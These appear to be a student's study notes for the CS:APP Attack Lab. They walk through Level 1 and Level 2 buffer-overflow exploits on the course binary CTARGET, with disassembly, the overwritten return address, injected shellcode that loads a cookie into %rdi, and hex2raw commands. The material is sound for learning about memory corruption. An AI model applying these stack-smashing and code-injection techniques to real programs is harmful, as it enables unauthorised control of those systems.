Skip to content

L3 attacklab

Resources

attacklab.pdf

csapp.cs.cmu.edu/3e/README-attacklab

Attack lab bootcamp slides m22

Q & A:

深入理解计算机系统之attacklab_哔哩哔哩_bilibili

Takeaways

Level 1

The callee is the function that is called by the caller. In stack frames, the callee's stack frame contains the return address to the caller. assembly - Why do we need a return address? - Stack Overflow

The return address does not point to the previous stack frame, it points into the code segment to the next instruction in the calling method. From the instructions, our task is to get CTARGET to execute the code for touch1 when getbuf executes its return statement, rather than returning to test. So we need to change the return address of getbuf to point to touch1 instead of test like normally does. The idea is to position a byte representation of the starting address for touch1 so that the ret instruction at the end of the code for getbuf will transfer control to touch1.

Checkout Activity 1 in Attack lab bootcamp slides m22 and Stack frames for a better understanding of the stack frame.

void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}

unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}

void touch1()
{
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}

Use objdump -d to see the assembly code

0000000000401968 <test>:
  401968:   48 83 ec 08             sub    $0x8,%rsp
  40196c:   b8 00 00 00 00          mov    $0x0,%eax
  401971:   e8 32 fe ff ff          callq  4017a8 <getbuf>
  401976:   89 c2                   mov    %eax,%edx
  401978:   be 88 31 40 00          mov    $0x403188,%esi # "No exploit. Getbuf returned 0x%x\n"
  40197d:   bf 01 00 00 00          mov    $0x1,%edi
  401982:   b8 00 00 00 00          mov    $0x0,%eax
  401987:   e8 64 f4 ff ff          callq  400df0 <__printf_chk@plt>
  40198c:   48 83 c4 08             add    $0x8,%rsp
  401990:   c3                      retq
  401991:   90                      nop
  401992:   90                      nop
  ...
  40199e:   90                      nop
  40199f:   90                      nop

00000000004017a8 <getbuf>:
  4017a8:   48 83 ec 28             sub    $0x28,%rsp
  4017ac:   48 89 e7                mov    %rsp,%rdi # register rdi here stores 1st argument for Gets(buf)
  4017af:   e8 8c 02 00 00          callq  401a40 <Gets>
  4017b4:   b8 01 00 00 00          mov    $0x1,%eax
  4017b9:   48 83 c4 28             add    $0x28,%rsp
  4017bd:   c3                      retq
  4017be:   90                      nop
  4017bf:   90                      nop

00000000004017c0 <touch1>:
  4017c0:   48 83 ec 08             sub    $0x8,%rsp
  4017c4:   c7 05 0e 2d 20 00 01    movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
  4017cb:   00 00 00
  4017ce:   bf c5 30 40 00          mov    $0x4030c5,%edi
  4017d3:   e8 e8 f4 ff ff          callq  400cc0 <puts@plt>
  4017d8:   bf 01 00 00 00          mov    $0x1,%edi
  4017dd:   e8 ab 04 00 00          callq  401c8d <validate>
  4017e2:   bf 00 00 00 00          mov    $0x0,%edi
  4017e7:   e8 54 f6 ff ff          callq  400e40 <exit@plt>

we can see that $rsp = $rdi, which is the first argument for function Gets (address of the buffer). So we just need to input a random string with length=$0x28 and then a string to overwrite the original return address to 0000000000401968 <test> with 00000000004017c0 <touch1>. Remember Endianness!

HEX2RAW expects two-digit hex values separated by one or more white spaces. So if you want to create a byte with a hex value of 0, you need to write it as 00. To create the word 0xdeadbeef you should pass “ef be ad de” to HEX2RAW (note the reversal required for little-endian byte ordering).

cat touch1.txt | ./hex2raw | ./ctarget -q
./hex2raw < touch1.txt | ./ctarget -q

Level 2

(gdb) disas
Dump of assembler code for function getbuf:
   0x00000000004017a8 <+0>:     sub    $0x28,%rsp
=> 0x00000000004017ac <+4>:     mov    %rsp,%rdi
   0x00000000004017af <+7>:     callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:    mov    $0x1,%eax
   0x00000000004017b9 <+17>:    add    $0x28,%rsp
   0x00000000004017bd <+21>:    retq
End of assembler dump.
(gdb) p /x $rsp
$2 = 0x5561dc78

After finishing getbuf, the return address should be overwritten with 0x5561dc78 so that $rsp points to buffer. Then run the injected the assembly code.

l2.s

mov    $0x59b997fa,%rdi
pushq  $0x4017ec
retq

gcc -c l2.s | objdump -d l2.o

l2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00          pushq  $0x4017ec
   c:   c3                      retq

The machine code above can satisfy touch2 function (val == cookie == 0x59b997fa).

void touch2(unsigned val)
{
  vlevel = 2; /* Part of validation protocol */
  if (val == cookie) {
    printf("Touch2!: You called touch2(0x%.8x)\n", val);
    validate(2);
    } else {
      printf("Misfire: You called touch2(0x%.8x)\n", val);
      fail(2);
    }
      exit(0);
}

Last update: December 14, 2022